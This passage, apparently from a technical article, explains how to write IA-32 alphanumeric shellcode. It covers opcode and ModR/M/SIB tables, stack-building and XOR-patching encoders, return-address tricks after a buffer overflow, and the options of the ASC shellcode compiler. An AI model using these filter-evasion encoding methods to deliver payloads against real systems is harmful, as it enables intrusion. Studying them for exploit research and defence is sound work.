<r/m32> : indicates a doubleword register or a doubleword from memory (through a pointer).

</r> : indicates that the instruction byte is followed of possibly several operand bytes. One of those bytes, the "ModR/M byte", permits us to specify the used addressing form,with the help of 3 bit fields.

ModR/M byte:

7 6 5 4 3 2 1 0

+‑‑‑+‑‑‑‑‑+‑‑‑‑‑+

|mod| r | r/m |

+‑‑‑+‑‑‑‑‑+‑‑‑‑‑+

In this case, the </r> indicates us the ModR/M byte will contain a register operand and a register or memory operand.

<imm8> : indicates an immediate byte value.

<imm32> : indicates an immediate doubleword value. <disp8> : indicates a signed 8 bits displacement. <disp32> : indicates a signed 32 bits displacement. <...> : indicates the instruction possibly need some operands (eventually encoded on several operand bytes).

ALPHANUMERIC OPCODES:

Now, let's remember all instructions with alphanumeric opcodes:

hexadecimal opcode | char | instruction | interesting

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

30 </r> | '0' | xor <r/m8>,<r8> | YES 31 </r> | '1' | xor <r/m32>,<r32> | YES 32 </r> | '2' | xor <r8>,<r/m8> | YES 33 </r> | '3' | xor <r32>,<r/m32> | YES 34 <imm8> | '4' | xor al,<imm8> | YES 35 <imm32> | '5' | xor eax,<imm32> | YES 36 | '6' | ss: (Segment Override Prefix)|

37 | '7' | aaa |

38 </r> | '8' | cmp <r/m8>,<r8> | YES 39 </r> | '9' | cmp <r/m32>,<r32> | YES

| |

41 | 'A' | inc ecx | YES 42 | 'B' | inc edx | YES 43 | 'C' | inc ebx | YES 44 | 'D' | inc esp | YES 45 | 'E' | inc ebp | YES 46 | 'F' | inc esi | YES 47 | 'G' | inc edi | YES 48 | 'H' | dec eax | YES 49 | 'I' | dec ecx | YES 4A | 'J' | dec edx | YES 4B | 'K' | dec ebx | YES 4C | 'L' | dec esp | YES 4D | 'M' | dec ebp | YES 4E | 'N' | dec esi | YES 4F | 'O' | dec edi | YES 50 | 'P' | push eax | YES 51 | 'Q' | push ecx | YES 52 | 'R' | push edx | YES 53 | 'S' | push ebx | YES 54 | 'T' | push esp | YES 55 | 'U' | push ebp | YES 56 | 'V' | push esi | YES 57 | 'W' | push edi | YES 58 | 'X' | pop eax | YES 59 | 'Y' | pop ecx | YES 5A | 'Z' | pop edx | YES

| |

61 | 'a' | popa | YES 62 <...> | 'b' | bound <...> | 63 <...> | 'c' | arpl <...> | 64 | 'd' | fs: (Segment Override Prefix)| 65 | 'e' | gs: (Segment Override Prefix)| 66 | 'f' | o16: (Operand Size Override)| YES 67 | 'g' | a16: (Address Size Override)| 68 <imm32> | 'h' | push <imm32> | YES

69 <...> | 'i' | imul <...> |

6A <imm8> | 'j' | push <imm8> | YES 6B <...> | 'k' | imul <...> | 6C <...> | 'l' | insb <...> | 6D <...> | 'm' | insd <...> | 6E <...> | 'n' | outsb <...> | 6F <...> | 'o' | outsd <...> | 70 <disp8> | 'p' | jo <disp8> | YES 71 <disp8> | 'q' | jno <disp8> | YES 72 <disp8> | 'r' | jb <disp8> | YES 73 <disp8> | 's' | jae <disp8> | YES 74 <disp8> | 't' | je <disp8> | YES 75 <disp8> | 'u' | jne <disp8> | YES 76 <disp8> | 'v' | jbe <disp8> | YES 77 <disp8> | 'w' | ja <disp8> | YES 78 <disp8> | 'x' | js <disp8> | YES 79 <disp8> | 'y' | jns <disp8> | YES 7A <disp8> | 'z' | jp <disp8> | YES

What can we directly deduct of all this?

‑ NO "MOV" INSTRUCTIONS:

=> we need to find another way to manipulate our data.

‑ NO INTERESTING ARITHMETIC INSTRUCTIONS ("ADD","SUB",...): => we can only use DEC and INC.

=> we can't use INC with the EAX register.

‑ THE "XOR" INSTRUCTION:

=> we can use XOR with bytes and doublewords.

=> very interesting for basic crypto stuff.

‑ "PUSH"/"POP"/"POPAD" INSTRUCTIONS:

=> we can push bytes and doublewords directly on the stack. => we can only use POP with the EAX,ECX and EDX registers. => it seems we're going to play again with the stack.

‑ THE "O16" OPERAND SIZE OVERRIDE:

=> we can also achieve 16 bits manipulations with this instruction prefix.

‑ "JMP" AND "CMP" INSTRUCTIONS:

=> we can realize some comparisons.

=> we can't directly use constant values with CMP.

Besides, Don't forget that operands of these instructions (</r>, <imm8>, <imm32>, <disp8> and <disp32>) must also remain alphanumeric. It may make our task once again more complicated...

THE "ModR/M" BYTE:

For example, let's observe the effect of this supplementary constraint on the ModR/M byte (</r>), particularly for XOR and CMP.

In the next array, we'll find all the possible values for this ModR/M byte, and their interpretation as <r8>/<r32> (first row) and <r/m> (first column) operands.

<r8>:| al | cl | dl | bl | ah | ch | dh | bh <r32>:| eax | ecx | edx | ebx | esp | ebp | esi | edi

<r/m> | | | |

‑‑:‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑

(mod=00) | | | | |

[eax] |00 |08 |10 |18 |20 |28 |30 '0'|38 '8' [ecx] |01 |09 |11 |19 |21 |29 |31 '1'|39 '9' [edx] |02 |0A |12 |1A |22 |2A |32 '2'|3A [ebx] |03 |0B |13 |1B |23 |2B |33 '3'|3B [<SIB>] |04 |0C |14 |1C |24 |2C |34 '4'|3C [<disp32>] |05 |0D |15 |1D |25 |2D |35 '5'|3D [esi] |06 |0E |16 |1E |26 |2E |36 '6'|3E [edi] |07 |0F |17 |1F |27 |2F |37 '7'|3F

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑

(mod=01) | | | | |

[eax+<disp8>] |40 |48 'H'|50 'P'|58 'X'|60 |68 'h'|70 'p'|78 'x' [ecx+<disp8>] |41 'A'|49 'I'|51 'Q'|59 'Y'|61 'a'|69 'i'|71 'q'|79 'y' [edx+<disp8>] |42 'B'|4A 'J'|52 'R'|5A 'Z'|62 'b'|6A 'j'|72 'r'|7A 'z' [ebx+<disp8>] |43 'C'|4B 'K'|53 'S'|5B |63 'c'|6B 'k'|73 's'|7B [<SIB>+<disp8>] |44 'D'|4C 'L'|54 'T'|5C |64 'd'|6C 'l'|74 't'|7C [ebp+<disp8>] |45 'E'|4D 'M'|55 'U'|5D |65 'e'|6D 'm'|75 'u'|7D [esi+<disp8>] |46 'F'|4E 'N'|56 'V'|5E |66 'f'|6E 'n'|76 'v'|7E [edi+<disp8>] |47 'G'|4F 'O'|57 'W'|5F |67 'g'|6F 'o'|77 'w'|7F

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑

(mod=10) | | | | |

[eax+<disp32>] |80 |88 |90 |98 |A0 |A8 |B0 |B8 [ecx+<disp32>] |81 |89 |91 |99 |A1 |A9 |B1 |B9 [edx+<disp32>] |82 |8A |92 |9A |A2 |AA |B2 |BA [ebx+<disp32>] |83 |8B |93 |9B |A3 |AB |B3 |BB [<SIB>+<disp32>]|84 |8C |94 |9C |A4 |AC |B4 |BC [ebp+<disp32>] |85 |8D |95 |9D |A5 |AD |B5 |BD [esi+<disp32>] |86 |8E |96 |9E |A6 |AE |B6 |BE [edi+<disp32>] |87 |8F |97 |9F |A7 |AF |B7 |BF

‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑

(mod=11) | | | | |

al | eax |C0 |C8 |D0 |D8 |E0 |E8 |F0 |F8 cl | ecx |C1 |C9 |D1 |D9 |E1 |E9 |F1 |F9 dl | edx |C2 |CA |D2 |DA |E2 |EA |F2 |FA bl | ebx |C3 |CB |D3 |DB |E3 |EB |F3 |FB ah | esp |C4 |CC |D4 |DC |E4 |EC |F4 |FC ch | ebp |C5 |CD |D5 |DD |E5 |ED |F5 |FD dh | esi |C6 |CE |D6 |DE |E6 |EE |F6 |FE bh | edi |C7 |CF |D7 |DF |E7 |EF |F7 |FF

What can we deduct this time for XOR and CMP?

‑ SOME "xor [<r32>],dh" AND "xor [<r32>],bh" INSTRUCTIONS.

‑ THE "xor [<disp32>],dh" INSTRUCTION.

‑ SOME "xor [<r32>+<disp8>],<r8>" INSTRUCTIONS.

‑ NO "xor <r8>,<r8>" INSTRUCTIONS.

‑ SOME "xor [<r32>],esi" AND "xor [<r32>],edi" INSTRUCTIONS.

‑ THE "xor [<disp32>],esi" INSTRUCTION.

‑ SOME "xor [<r32>+<disp8>],<r32>" INSTRUCTIONS.

‑ NO "xor <r32>,<r32>" INSTRUCTIONS.

‑ SOME "xor dh,[<r32>]" AND "xor bh,[<r32>]" INSTRUCTIONS.

‑ THE "xor dh,[<disp32>]" INSTRUCTION.

‑ SOME "xor <r8>,[<r32>+<disp8>]" INSTRUCTIONS.

‑ SOME "xor esi,[<r32>]" AND "xor edi,[<r32>]" INSTRUCTIONS.

‑ THE "xor esi,[<disp32>]" INSTRUCTION.

‑ SOME "xor <r32>,[<r32>+<disp8>]" INSTRUCTIONS.

‑ SOME "cmp [<r32>],dh" AND "cmp [<r32>],bh" INSTRUCTIONS.

‑ THE "cmp [<disp32>],dh" INSTRUCTION.

‑ SOME "cmp [<r32>+<disp8>],<r8>" INSTRUCTIONS.

‑ NO "cmp <r8>,<r8>" INSTRUCTIONS.

‑ SOME "cmp [<r32>],esi" AND "cmp [<r32>],edi" INSTRUCTIONS.

‑ THE "cmp [<disp32>],esi" INSTRUCTION.

‑ SOME "cmp [<r32>+<disp8>],<r32>" INSTRUCTIONS.

‑ NO "cmp <r32>,<r32>" INSTRUCTIONS.

THE "SIB" BYTE:

To be complete, we must also analyze possibilities offered by the Scale Index Base byte ("<SIB>" in our last array). This SIB byte allows us to create addresses having the following form:

<SIB> = <base>+(2^<scale>)*<index>

Where:

<base> : indicate a base register.

<index> : indicate an index register.

<scale> : indicate a scale factor for the index register.

Here are the different bit fields of this byte:

7 6 5 4 3 2 1 0

+‑‑‑+‑‑‑‑‑+‑‑‑‑‑+

|sc.|index|base |

+‑‑‑+‑‑‑‑‑+‑‑‑‑‑+

Let's have a look at this last array:

<base>:| eax | ecx | edx | ebx | esp | ebp | esi | edi

| | | | |if | |

(2^<scale>)| | | | | | MOD | |

*<index> | | | | | |00)| |

‑‑‑‑:‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+

eax |00 |01 |02 |03 |04 |05 |06 |07 ecx |08 |09 |0A |0B |0C |0D |0E |0F edx |10 |11 |12 |13 |14 |15 |16 |17 ebx |18 |19 |1A |1B |1C |1D |1E |1F 0 |20 |21 |22 |23 |24 |25 |26 |27 ebp |28 |29 |2A |2B |2C |2D |2E |2F esi |30 '0'|31 '1'|32 '2'|33 '3'|34 '4'|35 '5'|36 '6'|37 '7' edi |38 '8'|39 '9'|3A |3B |3C |3D |3E |3F

‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+

2*eax |40 |41 'A'|42 'B'|43 'C'|44 'D'|45 'E'|46 'F'|47 'G' 2*ecx |48 'H'|49 'I'|4A 'J'|4B 'K'|4C 'L'|4D 'M'|4E 'N'|4F 'O' 2*edx |50 'P'|51 'Q'|52 'R'|53 'S'|54 'T'|55 'U'|56 'V'|57 'W' 2*ebx |58 'X'|59 'Y'|5A 'Z'|5B |5C |5D |5E |5F 0 |60 |61 'a'|62 'b'|63 'c'|64 'd'|65 'e'|66 'f'|67 'g' 2*ebp |68 'h'|69 'i'|6A 'j'|6B 'k'|6C 'l'|6D 'm'|6E 'n'|6F 'o' 2*esi |70 'p'|71 'q'|72 'r'|73 's'|74 't'|75 'u'|76 'v'|77 'w' 2*edi |78 'x'|79 'y'|7A 'z'|7B |7C |7D |7E |7F

‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+

4*eax |80 |81 |82 |83 |84 |85 |86 |87 4*ecx |88 |89 |8A |8B |8C |8D |8E |8F 4*edx |90 |91 |92 |93 |94 |95 |96 |97 4*ebx |98 |99 |9A |9B |9C |9D |9E |9F 0 |A0 |A1 |A2 |A3 |A4 |A5 |A6 |A7 4*ebp |A8 |A9 |AA |AB |AC |AD |AE |AF 4*esi |B0 |B1 |B2 |B3 |B4 |B5 |B6 |B7 4*edi |B8 |B9 |BA |BB |BC |BD |BE |BF

‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+

8*eax |C0 |C1 |C2 |C3 |C4 |C5 |C6 |C7 8*ecx |C8 |C9 |CA |CB |CC |CD |CE |CF 8*edx |D0 |D1 |D2 |D3 |D4 |D5 |D6 |D7 8*ebx |D8 |D9 |DA |DB |DC |DD |DE |DF 0 |E0 |E1 |E2 |E3 |E4 |E5 |E6 |E7 8*ebp |E8 |E9 |EA |EB |EC |ED |EE |EF 8*esi |F0 |F1 |F2 |F3 |F4 |F5 |F6 |F7 8*edi |F8 |F9 |FA |FB |FC |FD |FE |FF

‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑+

(if <base> |

==ebp | => <SIB> = <disp32>+(2^<scale>)*<index>

and MOD==0)|

‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What can we deduct of this last array?

‑ SOME "<r32>+esi" SIB ADDRESSES.

‑ SOME "<r32>+2*<r32>" SIB ADDRESSES.

‑ NO "<r32>+4*<r32>" OR "<r32>+8*<r32>" SIB ADDRESSES.

Also remember that the usual bytes order for a full instruction with possibly ModR/M, SIB byte and disp8/disp32 is:

<opcode> [Mode R/M byte] [<SIB>] [<disp8>/<disp32>]

THE "XOR" INSTRUCTION:

We notice that we have some possibilities for the XOR instruction. Let's remember briefly all possible logical combinations:

a | b | a XOR b (=c)

‑‑+‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

0 | 0 | 0

0 | 1 | 1

1 | 0 | 1

1 | 1 | 0

What can we deduct of this?

‑ a XOR a = 0

=> we can easily initialize registers to 0.

‑ 0 XOR b = b

=> we can easily load values in registers containing 0.

‑ 1 XOR b = NOT b

=> we can easily invert values using registers containing 0xFFFFFFFF. ‑ a XOR b = c

b XOR c = a

a XOR c = b

=> we can easily find a byte's XOR complement.

‑‑‑‑| Classic manipulations

Now, we are going to see various methods permitting to achieve a maximum of usual low level manipulations from the authorized instructions listed above.

INITIALIZING REGISTERS WITH PARTICULAR VALUES:

First of all, let's think about a method allowing us to initialize some very useful particular values in our registers, like 0 or 0xFFFFFFFF (see alphanumeric_initialize_registers() in asc.c).

For example:

push 'aaaa' ; 'a' 'a' 'a' 'a'

pop eax ;EAX now contains 'aaaa'. xor eax,'aaaa' ;EAX now contains 0.

dec eax ;EAX now contains 0xFFFFFFFF.

We are going to memorize those special values in particular registers, to be able to use them easily.

INITIALIZING ALL REGISTERS:

At the beginning of our shellcode, we will need to initialize several registers with values that we will probably use later.

Don't forget that we can't use POP with all registers (only EAX,ECX and EDX) We will then use POPAD. For example, if we suppose EAX contain 0 and ECX contain 'aaaa', we can initialize all our registers easily:

push eax ;EAX will contain 0.

push ecx ;no change to ECX ('aaaa'). push esp ;EDX will contain ESP after POPAD. push eax ;EBX will contain 0.

push esp ;no change to ESP.

push ebp ;no change to EBP.

push ecx ;ESI will contain 'aaaa' after POPAD. dec eax ;EAX will contain 0xFFFFFFFF. push eax ;EDI will contain 0xFFFFFFFF. popad ;we get all values from the stack.

COPYING FROM REGISTERS TO REGISTERS:

Using POPAD, we can also copy data from any register to any register, if we can't PUSH/POP directly. For example, copying EAX to EBX:

push eax ;no change.

push ecx ;no change.

push edx ;no change.

push eax ;EBX will contain EAX after POPAD. push eax ;no change (ESP not "poped"). push ebp ;no change.

push esi ;no change.

push edi ;no change.

popad

Let's note that the ESP's value is changed before the PUSH since we have 2 PUSH preceding it, but POPAD POP all registers except ESP from the stack.

SIMULATING A "NOT" INSTRUCTION:

By using XOR, we can easily realize a classical NOT instruction. Suppose EAX contains the value we want to invert, and EDI contains 0xFFFFFFFF:

push eax ;we push the value we want to invert. push esp ;we push the offset of the value we

; pushed on the stack.

pop ecx ;ECX now contains this offset. xor [ecx],edi ;we invert the value.

pop eax ;we get it back in EAX.

READING BYTES FROM MEMORY TO A REGISTER:

Once again, by using XOR and the 0 value (here in EAX), we can read an arbitrary byte into DH:

push eax ;we push 0 on the stack. pop edx ;we get it back in ECX (DH is now 0). xor dh,[esi] ;we read our byte using [esi] as source

;address.

We can also read values not far from [esp] on the stack, by using DEC/INC on ESP, and then using a classical POP.

WRITING ALPHANUMERIC BYTES TO MEMORY:

If we need a small place to write bytes, we can easily use PUSH and write our bytes by decreasing memory addresses and playing with INC on ESP.

push 'cdef' ; c' 'd' 'e' 'f'

push 'XXab' ; 'X' 'X' 'a' 'b' 'c' 'd' 'e' 'f'

inc esp ; 'X' 'a' 'b' 'c' 'd' 'e' 'f'

inc esp ; 'a' 'b' 'c' 'd' 'e' 'f'

Now, ESP points at a "abcdef" string written on the stack... We can also use the 016 instruction prefix to directly push a 16 bits value:

push 'cdef' ; 'c' 'd' 'e' 'f'

push 'ab' ; 'a' 'b' 'c' 'd' 'e' 'f'

‑‑‑‑| The methods

Now, let's combine some of these interesting manipulations to effectively generate alphanumeric shellcodes .

We are going to generate an alphanumeric engine, that will build our original (non‑alphanumeric) shellcode. We will propose 2 different techniques:

USING THE STACK:

Because we have a set of instructions related to the stack, we are going to use them efficiently.

In fact, we are going to construct our original code gradually while pushing values on the stack, from the last byte (B1) of our original shellcode to the first one (see alphanumeric_stack_generate() and "‑m stack" option in asc.c):

.... 00 00 00 00 00 00 00 00 00 00 00 00 SS SS SS SS ....

.... 00 00 00 00 00 00 00 00 00 00 B2 B1 SS SS SS SS ....

.... 00 00 00 00 00 00 00 B5 B4 B3 B2 B1 SS SS SS SS ....

<‑‑‑‑‑

.... 00 00 00 B9 B8 B7 B6 B5 B4 B3 B2 B1 SS SS SS SS .... <‑‑‑‑‑‑‑original shellcode‑‑‑‑‑‑‑‑

Where: SS represents bytes already present on the stack. 00 represents non used bytes on the stack.

Bx represents bytes of our original non‑alphanumeric shellcode.

It is really easy, because we have instructions to push doublewords or words, and we can also play with INC ESP to simply push a byte. The problem is that we cannot directly push non‑alphanumeric bytes. Let's try to classify bytes of our original code in different categories. (see alphanumeric_stack_get_category() in asc.c).

We can thus write tiny blocks of 1,2,3 or 4 bytes from the same category on the stack (see alphanumeric_stack_generate_push() in asc.c). Let's observe how to realize that:

‑ CATEGORY_00:

We suppose the register (<r>,<r32>,<r16>) contains the 0xFFFFFFFF value.

1 BYTE:

inc <r32> ;<r32> now contains 0. push <r16> ; 00 00

inc esp ; 00

dec <r32> ;<r32> now contains 0xFFFFFFFF.

2 BYTES:

inc <r32> ;<r32> now contains 0. push <r16> ; 00 00

dec <r32> ;<r32> now contains 0xFFFFFFFF.

3 BYTES:

inc <r32> ;<r32> now contains 0. push <r32> ; 00 00 00 00

inc esp ; 00 00 00

dec <r32> ;<r32> now contains 0xFFFFFFFF.

4 BYTES:

inc <r32> ;<r32> now contains 0. push <r32> ; 00 00 00 00

dec <r32> ;<r32> now contains 0xFFFFFFFF.

‑ CATEGORY_FF:

We use the same mechanism as for CATEGORY_00, except that we don't need to INC/DEC the register containing 0xFFFFFFFF.

‑ CATEGORY_ALPHA:

We simply push the alphanumeric values on the stack, possibly using a random alphanumeric byte "??" to fill the doubleword or the word.

1 BYTE:

push 0x??B1 ; ?? B1

inc esp ; B1

2 BYTES:

push 0xB2B1 ; B2 B1

3 BYTES:

push 0x??B3B2B1 ; ?? B3 B2 B1

inc esp ; B3 B2 B1

4 BYTES:

push 0xB4B3B2B1 ; B4 B3 B2 B1

‑ CATEGORY_XOR:

We choose random alphanumeric bytes X1,X2,X3,X4 and Y1,Y2,Y3,Y4, so that X1 xor Y1 = B1, X2 xor Y2 = B2, X3 xor Y3 = B3 and X4 xor Y4 = B4 (see alphanumeric_get_complement() in asc.c).

1 BYTE:

push 0x??X1 ; ?? X1

pop ax ;AX now contains 0x??X1. xor ax,0x??Y1 ;AX now contains 0x??B1.

push ax ; ?? B1

inc esp ; B1

2 BYTES:

push 0xX2X1 ; X2 X1

pop ax ;AX now contains 0xX2X1. xor ax,0xY2Y1 ;AX now contains 0xB2B1. push ax ; B2 B1

3 BYTES:

push 0x??X3X2X1 ; ?? X3 X2 X1

pop eax ;EAX now contains 0x??X3X2X1. xor eax,0x??Y3Y2Y1 ;EAX now contains 0x??B3B2B1. push eax ; ?? B3 B2 B1

inc eax ; B3 B2 B1

4 BYTES:

push 0xX4X3X2X1 ; X4 X3 X2 X1

pop eax ;EAX now contains 0xX4X3X2X1. xor eax,0xY4Y3Y2Y1 ;EAX now contains 0xB4B3B2B1. push eax ; B4 B3 B2 B1

‑ CATEGORY_ALPHA_NOT and CATEGORY_XOR_NOT:

We simply generate CATEGORY_ALPHA and CATEGORY_XOR bytes (N1,N2,N3,N4) by realizing a NOT operation on the original value. We must then cancel the effect of this operation, by realizing again a NOT operation but this time on the stack (see alphanumeric_stack_generate_not() in asc.c).

1 BYTE:

push esp

pop ecx ;ECX now contains ESP.

; N1

xor [ecx],<r8> ; B1

2 BYTES:

push esp

pop ecx ;ECX now contains ESP.

; N2 N1

xor [ecx],<r16> ; B2 B1

3 BYTES:

push esp

pop ecx ;ECX now contains ESP.

; N3 N2 N1

dec ecx ; ?? N3 N2 N1

xor [ecx],<r32> ; ?? B3 B2 B1

inc ecx ; B3 B2 B1

4 BYTES:

push esp

pop ecx ;ECX now contains ESP.

; N4 N3 N2 N1

xor [ecx],<r32> ; B4 B3 B2 B1

While adding each of these small codes, with the appropriate values, to our alphanumeric shellcode, we'll generate an alphanumeric shellcode wich will build our non‑alphanumeric shellcode on the stack.

USING "XOR PATCHES":

Another possibility is to take advantage of an interesting addressing mode, using both ModR/M and SIB bytes in combination with the following XOR instruction (see alphanumeric_patches_generate_xor() and "‑m patches" option in asc.c):

xor [<base>+2*<index>+<disp8>],<r8>

xor [<base>+2*<index>+<disp8>],<r16>

xor [<base>+2*<index>+<disp8>],<r32>

Suppose we have such an architecture for our shellcode:

[initialization][patcher][ data ]

We can initialize some values and registers in [initialization], then use XOR instructions in [patcher] to patch bytes in [data]:

(see alphanumeric_patches_generate() in asc.c)

[initialization][patcher][original non‑alphanumeric shellcode]

To use this technique, we need to know the starting address of our shellcode. We can store it in a <base> register, like EBX or EDI. We must then calculate the offset for the first non‑alphanumeric byte to patch, and generate this offset again by using an <index> register and an alphanumeric <disp8> value:

[initialization][patcher][original non‑alphanumeric shellcode] | |

<base> <base>+2*<index>+<disp8>

The main issue here is that our offset is going to depend on the length of our [initialization] and [patcher]. Besides, this offset is not necessarily alphanumeric. Therefore, we'll generate this offset in [initialization], by writing it on the stack with our previous technique.

We'll try to generate the smallest possible [initialization], by increasing gradually an arbitrary offset, trying to store the code to calculate it in [initialization], and possibly add some padding bytes (see alphanumeric_patches_generate_initialization() in asc.c):

First iteration:

[######################][patcher][data] |

offset

[code to generate this offset] => too big.

Second iteration:

[##########################][patcher][data]

|

‑‑‑>offset

[ code to generate this offset ] => too big.

Nth iteration:

[#####################################patcher][data]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑offset

[ code to generate this offset ] => perfect.

Adding some padding bytes:

[#####################################patcher][data]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑offset

[ code to generate this offset ][padding] => to get the exact size.

And finally the compiled shellcode:

[ code to generate the offset ][padding][patcher][data]

We will also iterate on the <disp8> value, because some values can give us an easy offset to generate.

What will contain the [data] at runtime ?

We will use exactly the same manipulations as for the "stack technique", except that here, we can (we MUST !!!) have directly stored alphanumeric values in our [data].

Another problem is that we can only use <r8>,<r16> or <r32> registers. It prevents us to patch 3 bytes with only one XOR instruction without modifying previous or next bytes.

Finally, once we patched some bytes, we must increment our offset to reach the next bytes that we need to patch. We can simply increment our <base>, or increment our <disp8> value if <disp8> is always alphanumeric.

To finish this description of the techniques, let's remember again that we cannot use all registers and addressing modes... We can only use the ones that are "alphanumeric compatibles". For example, in the "XOR patching technique", we decided to use the following registers:

<base> = ebx | edi

<index> = ebp

XOR register = eax | ecx

NOT register = dl | dh | edx | esi

Let's note that those registers are randomly allocated, to add some basic polymorphism abilities (see alphanumeric_get_register() in asc.c).

‑‑‑‑| Some architectures and considerations

Now, we will analyze different general architectures and considerations to generate alphanumeric shellcodes.

For the "XOR patching technique", the only constraint is that we need to know the address of our shellcode. Usually this is trivial: we used this address to overflow a return address. For example, if we overwrote a return value, we can easily recover it at the beginning of our shellcode (see alphanumeric_get_address_stack() and "‑a stack" option in asc.c):

dec esp

dec esp

dec esp

dec esp

pop <r32>

The address can also be stored in a register (see "‑a <r32>" option in asc.c). In this case, no preliminary manipulation will be necessary.

For the "stack technique", we can have different interesting architectures, depending on the position of the buffer we try to smash. Let's analyze some of them briefly.

If our shellcode is on the stack, followed by a sufficient space and by a return address, this is really perfect. Let's look at what is going to happen to our stack:

.... AA AA AA AA 00 00 00 00 00 00 RR RR RR RR SS SS ....

[EIP] ESP]

.... AA AA AA AA 00 00 00 00 00 00 RR BB BB BB SS SS ....

‑‑>[EIP] [ESP]<‑‑‑‑‑‑‑‑

Our non‑alphanumeric shellcode gets down to meet the end of our compiled shellcode. Once we have built our entire original shellcode, we can simply build padding instructions to connect both shellcodes.

.... AA AA AA AA PP PP PP PP PP PP RR BB BB BB SS SS ....

‑‑‑‑‑‑>[EIP] [ESP]<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.... AA AA AA AA PP PP PP PP PP PP RR BB BB BB SS SS ....

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑EIP]

Where: AA represents bytes of our alphanumeric compiled shellcode. 00 represents non used positions on the stack. SS represents bytes already present on the stack. RR represents bytes of our return address.

BB represents bytes of ou non‑alphanumeric generated shellcode. PP represents bytes of simple padding instructions (ex: INC ECX).

To use this method, we must have an original shellcode with a smaller size compared to the space between the end of our compiled shellcode and the value of ESP at the beginning of the execution of our shellcode. We must also be sure that the last manipulations on the stack (to generate padding instructions) will not overwrite the last instructions of our compiled shellcode. If we simply generate alphanumeric padding instructions, it should not make any problems.

We can also add some padding instructions at the end of our alphanumeric compiled shellcode, and let them be overwritten by our generated padding instructions. This approach is interesting for brute forcing (see "‑s null" option in asc.c).

We can also proceed in a slightly different way, if the space between our compiled shellcode and the original shellcode has an alphanumeric length (<disp8> alphanumeric). We simply use 2 inverse conditional jumps, like this:

[end of our compiled shellcode]

jo <disp8>+1 ‑+

|

jno <disp8> ‑‑+

|

... |

|

label: <‑‑‑‑‑‑‑+

[begin of our original non‑alphanumeric shellcode]

We can also combine "stack" and "patches" techniques. We build our original shellcode on the stack (1), and simply jump to it once built (3). The problem is that we don't have alphanumeric jump instructions. We'll generate a JMP ESP simply by using the "patches technique" (2) on one byte (see "‑s jmp" option in asc.c):

patch (2)‑+

[non‑alphanumeric building code][JMP ESP patching code][jmp esp]

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑jump (3)‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| build (1)

| |

+‑> [non‑alphanumeric code]

We can also replace the JMP ESP by the following sequence, easier to generate (see "‑s ret" option in asc.c):

push esp

ret

Finally, we can generate yet another style of shellcode. Suppose we have a really big non‑alphanumeric shellcode. Perhaps is it more interesting to compress it, and to write a small non‑alphanumeric decompression engine (see "‑s call" option in asc.c):

patch (2)‑‑+

[non‑alphanumeric building code][CALL ESP patching code][call esp][data]

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑call (3)‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

| build (1)

| |

| <‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

+‑> [pop <r32>][decompression engine][jmp <r32>]

(4) (5) (6)

Once the CALL ESP is executed (3), the address of [data] is pushed on the stack. The engine only has to pop it in a register (4), can then decompress the data to build the original shellcode (5), and finally jump to it (6).

As we can see it, possibilities are really endless!

‑‑‑‑| ASC, an Alphanumeric Shellcode Compiler

ASC offers some of the techniques proposed above.

What about the possible options?

COMPILATION OPTIONS:

These options allow us to specify the techniques and architecture the alphanumeric shellcode will use to build the original shellcode.

‑a[ddress] stack|<r32> : allows to specify the start address of the shellcode (useful for patching technique).

"stack" means we get the address from the stack.

<r32> allows to specify a register containing this starting address.

‑m[ode] stack|patches : allows to choose the type of alphanumeric shellcode we want to generate.

"stack" generates our shellcode on the stack.

"patches" generates our shellcode by XOR patching.

‑s[tack] call|jmp|null|ret : specifies the method (if "‑m stack") to return to the original shellcode on the stack.

"call" uses a CALL ESP instruction.

"jmp" uses a JMP ESP instruction.

"null" doesn't return to the code (if the original code is right after the alphanumeric shellcode).

"ret" uses PUSH ESP and RET instructions.

DEBUGGING OPTIONS:

These options permit us to insert some breakpoints (int3), and observe the execution of our alphanumeric shellcode.

‑debug‑start : inserts a breakpoint to the start of the compiled shellcode.

‑debug‑build‑original : inserts a breakpoint before to build the original shellcode.

